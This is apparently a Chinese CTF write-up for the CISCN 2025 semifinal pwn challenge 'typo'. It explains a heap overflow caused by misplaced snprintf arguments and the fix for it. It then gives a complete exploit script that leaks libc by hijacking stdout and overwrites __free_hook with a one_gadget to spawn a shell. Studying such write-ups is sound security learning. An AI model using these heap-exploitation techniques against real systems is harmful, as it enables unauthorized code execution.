CISCN && 长城杯 2025半决赛 Pwn-typo wp(含附件)

通过网盘分享的文件:2025CISCN半决赛pwn.rar
链接: https://pan.baidu.com/s/1jplAyW7_0UnTWql9f6YJ7w 提取码: xidp

type

fix

通过动态调试和静态分析我们大致可以确定漏洞存在于edit
![[Pasted image 20250319173458.png]]

动态调试的时候通过输入大量的数据最终发现堆溢出漏洞,并确定漏洞是由snprint函数引发

      memset(s, 0, 0x100uLL);
      read(0, s, 0x100uLL);
      snprintf(chunk_list[idx], "%lu", s, 8LL);

我们将鼠标移动到snprintf函数上查看它的参数
我们发现它第二个参数应该是控制输入数量的参数,但是却错误的使用了%lu因此导致了漏洞的发生
![[Pasted image 20250319173807.png]]

所以我们修复的时候只需要将参数正确归位即可,修复方法如下:
![[Pasted image 20250319174049.png]]

![[Pasted image 20250319174100.png]]

break

这里据说snprintf是有格式化字符串漏洞的,但是我尝试之后实在是不知道咋使用,但是光靠堆溢出漏洞就可以打通了,所以我也不过多纠结了

思路过程:

程序使用libc为2.31版本,我们的主要思路应该是利用 tcachebin 去控制malloc_hook/free_hook ,但是程序中没有show的功能因此我们没办法直接泄露libc地址,但是通过观察题目我们可以知道在edit有很多puts函数这就可以让我们想到了利用main_arena爆破去申请到stdout,然后利用stdout来泄露libc地址

  1. 利用堆溢出修改size位制造堆块重叠并释放掉其中一个使其进入 tcachebin 中(称其为A),形成类似UAF的效果
  2. 修改原本放入 tcachebin 的那个堆块的size,,将对应size的 tcachebin 填满 再次释放它使得它进入 unosortbined 中,这样原本在 tcachebin 中的那个块的指针就会指向 main_arena 旁边了
  3. 我们知道stdoutmain_arena的后3位是固定的,那么我们只需要利用堆溢出修改 mian_arena的倒数第四位,我们有1/16的概率得到stdout的真实地址-0x10
  4. 我们成功申请到stdout之后就可以修改flagsfbad1800,覆盖_IO_write_base的尾字节为\x00泄露libc地址
  5. 后面就是正常打malloc_hook
from xidp import *

#---------------------初始化--------------

arch = 64
elf_os = 'linux'
challenge = "./pwn3"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so'
ip = ''
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info

#---------------------初始化-----------

#---------------------debug-----------
# 断点
bps = [0x1698]

#---------------------debug-----------

menu = ">> "  
def add(idx, size):  
    sdla(menu, str(1))  
    sdla("Index: ", str(idx))  
    sdla("Size: ", str(size))  
def edit(idx, size, content = b'\x00'):  
    sdla(menu, str(3))  
    sdla("Index: ", str(idx))  
    sda("New size of content: ", size)  
    sda("What do you want to say: ", content)  
def free(idx):  
    sdla(menu, str(2))  
    sdla("Index: ", str(idx))  
def exit():  
    sdla(menu, str(4))  

#---------------------debug--------------

for i in range(0, 7):
    add(i, 0xf0)
add(7, 0x20)
add(8, 0xf0)
add(9, 0x60)
add(10, 0xf0)

for i in range(0, 7):
    free(i)

free(8) # 放入unsortedbin中
edit(7, b'a'*0x28+p64(0x171), b'\x00')
edit(9, b'a'*0x68+p64(0x100), b'\x00'*0x58+p64(0x100+0x70))
free(10) # chunk8-chunk10都被合并到top_chunk中

for i in range(0, 7):
    add(i, 0xf0)
add(12, 0x90)
add(8, 0x50)
add(10, 0xf0) # chunk9 和 chunk10 是同一个 chunk
add(11, 0x20) # 填充

add(13, 0x50)
for i in range(0, 7):
    free(i)
add(0, 0x40)
add(1, 0x40)
add(2, 0x40)
edit(8, b'a'*0x58 + p64(0x61), b'\x00')
free(13)
free(9)
edit(8, b'a'*0x58 + p64(0x101), b'\x00')
free(10)

# 构成一个chunk的重叠
# 想办法构成一个chunk处于tcachebins中的0x60
# 然后想办法修改chunk_size为其他比如0x100
# 然后再次释放chunk让其进入unsortedbin中

# edit(12, b'%p'*0x11+b'a'*10, b'\x00')
edit(12, b'a'*166, b'\x00')
# 这里为什么是166?
# 这里的166恰好可以将下面的chunk8的old_chunk_size覆盖为一个不大不小的数 0x0000006161616161 太大了会出问题(如果全覆盖的话read好像字节数太多了读取不了)
# 会导致这里的\x90\x26无法写入
# 需要把chunk8的人工size填充为一个大小合理的值,否则太大了read读取不了,太小了又不够覆盖
edit(8, b'11111', b'b'*0x58+b'\x90\x26')
add(13, 0x50)
add(14, 0x50)

edit(14, b'\xff'*8, b'\x00'*8 + p32(0xFBAD1800) + b'\x00'*(0x25-8))
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
leak('libc_base')
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04, 0x1077ca, 0x1077d2, 0x1077d7, 0x1077e1]
one_gadget = libc_base + one[1]
leak('free_hook')
leak('malloc_hook')
leak('system_addr')
leak('one_gadget')

free(2)
free(1)
edit(0, b'a'*0x50 + p64(free_hook-0x10), b'a')
add(1, 0x40)
add(2, 0x40)

edit(2, b'1'*0x10 + p64(one_gadget), b'a')
free(0)

# pwndbg(1, bps, 1)
# x/30gx $rebase(0x4060)

ia()

protobuf

fix

有空复现之后再更新吧…咕咕咕…

参考:
1.ciscn & 长城杯 2025半决赛 pwn typo-优快云博客
2.2025 CISCN&CCB Half-Final WP
3.CISCN 2025 半决赛 writeup by 0psu3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值